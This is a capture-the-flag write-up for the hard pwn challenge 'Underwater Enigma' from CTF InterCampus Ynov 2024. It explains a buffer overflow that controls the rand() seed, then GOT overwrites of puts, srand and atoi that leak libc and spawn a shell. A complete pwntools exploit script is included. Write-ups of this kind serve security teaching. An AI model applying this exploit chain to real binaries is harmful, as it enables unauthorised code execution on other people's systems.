[CTF] WU - Underwater Enigma
CTF InterCampus Ynov 2024
Difficulty Level : Hard
Challenge Category : PWN
Description :
You are a diver on a mission to unlock a mysterious underwater artifact. To succeed, you must crack a series of artifact codes generated by the deep-sea currents. However, this task is not easy, you have only two attempts to get the codes right, and if you make a mistake, you can correct one of the codes each time.
Challenge Description
In this challenge, the goal is to exploit a program that uses predictable randomness, buffer overflows, and Global Offset Table (GOT) overwrites to bypass security and achieve a shell. The binary has several vulnerabilities that allow us to manipulate memory and control execution flow.
Vulnerabilities and Exploitation Steps
1. Buffer Overflow in main()
The program contains a buffer overflow vulnerability in the read()
function:
printf("What is your name: ");
read(0, diverName, 0x100);
- The
diverName
buffer is declared with a size of 0x10 (16 bytes), butread()
reads up to 0x100 (256 bytes), leading to a buffer overflow. - By sending 20 bytes of padding followed by the address of
read
in the Global Offset Table (GOT), we overwrite thetimeSeed
variable, which determines the random number sequence.
2. Controlled Random Number Generation
The program generates a sequence of artifact codes using the following code:
srand(timeSeed);
for (int i = 0 ; i <= 5 ; ++i) {
artifactCodes[i] = rand() % 1337;
}
- The artifact codes are seeded with the current time using
timeSeed = time(0)
. - Since we control
timeSeed
via the buffer overflow, we can predict the sequence ofartifactCodes
by mimicking the random number generation in our exploit script.
Python Script to Predict Artifact Codes
import ctypes
guessed_list = []
libc2.srand(seed) # Use the overwritten seed
for i in range(6):
guessed = libc2.rand() % 1337
log.info(f"guessed = {guessed}")
guessed_list.append(guessed)
By loading the same libc library and using the same seed, we predict the exact sequence of random numbers.
3. GOT Overwrite
The binary is compiled with Partial RELRO, allowing us to overwrite GOT entries. Here's how we exploit this:
First Round: Overwrite puts
- We calculate the index of
puts
in GOT relative to thediverCodes
array:idx1 = puts_low = (elf.got.puts - elf.sym.diverCodes) // 4 + 1 idx2 = puts_high = (elf.got.puts - elf.sym.diverCodes) // 4 + 2
- In two attempts:
- Write the low 4 bytes of
puts
to point to theunderwaterChallenge
function. - Write the high 4 bytes of
puts
.
- Write the low 4 bytes of
overwrite(puts_low, elf.sym.underwaterChallenge)
overwrite(puts_high, 0x00000000)
This makes puts
point to underwaterChallenge
, allowing repeated exploitation.
Second Round: Leak libc Address
- Overwrite
srand
in GOT withputs@plt + 6
to leak the libc address:idx1 = srand_low = (elf.got.srand - elf.sym.diverCodes) // 4 + 1 idx2 = srand_high = (elf.got.srand - elf.sym.diverCodes) // 4 + 2
- In two attempts:
- Write the low 4 bytes of
puts@plt + 6
. - Write the high 4 bytes.
- Write the low 4 bytes of
overwrite(srand_low, elf.plt.puts + 6)
overwrite(srand_high, 0x00000000)
When srand
is called, it leaks the read@got
address, allowing us to calculate the libc base.
Third Round: Overwrite atoi
with system
- Calculate the libc base and locate the
system
function:libc.address = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) - libc.sym.read system = libc.sym.system
- Overwrite
atoi
in GOT with thesystem
address:idx1 = atoi_addr = (elf.got.atoi - elf.sym.diverCodes) // 4 + 1 overwrite(atoi_addr, system)
Finally, pass /bin/sh
as input to atoi
to spawn a shell.
Exploit Script
Here’s the full exploit script:
#!/usr/bin/env python
from pwn import *
import ctypes
elf = ELF("./main", checksec=True)
context.binary = elf
r = None
def conn():
global r
if args.LOCAL:
r = process([elf.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("127.0.0.1", 1234)
return r
def guess(arr):
global r
for i in range(0, 6):
r.sendlineafter(b'Enter code number %s: ' % str(i).encode(), str(arr[i]).encode())
def overwrite(i, s):
global r
r.sendlineafter(b': ', b'1')
r.sendlineafter(b': ', str(i).encode())
r.sendlineafter(b': ', str(int(s)).encode())
def main():
global r
r = conn()
libc2 = ctypes.cdll.LoadLibrary('./DockerLibc/libc.so.6')
seed = elf.got.read
libc2.srand(seed)
guessed_list = [libc2.rand() % 1337 for _ in range(6)]
payload = b'A'*20 + p64(elf.got.read)
r.sendlineafter(b'name: ', payload)
r.sendlineafter(b'you: ', b'18')
# First Round
overwrite((elf.got.puts - elf.sym.diverCodes) // 4 + 1, elf.sym.underwaterChallenge)
overwrite((elf.got.puts - elf.sym.diverCodes) // 4 + 2, 0x00000000)
guess(guessed_list)
# Second Round
overwrite((elf.got.srand - elf.sym.diverCodes) // 4 + 1, elf.plt.puts + 6)
overwrite((elf.got.srand - elf.sym.diverCodes) // 4 + 2, 0x00000000)
guess(guessed_list)
libc = ELF('./DockerLibc/libc.so.6')
libc.address = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) - libc.sym.read
system = libc.sym.system
# Third Round
overwrite((elf.got.atoi - elf.sym.diverCodes) // 4 + 1, system)
r.sendline(b'/bin/sh\x00')
r.interactive()
if __name__ == "__main__":
main()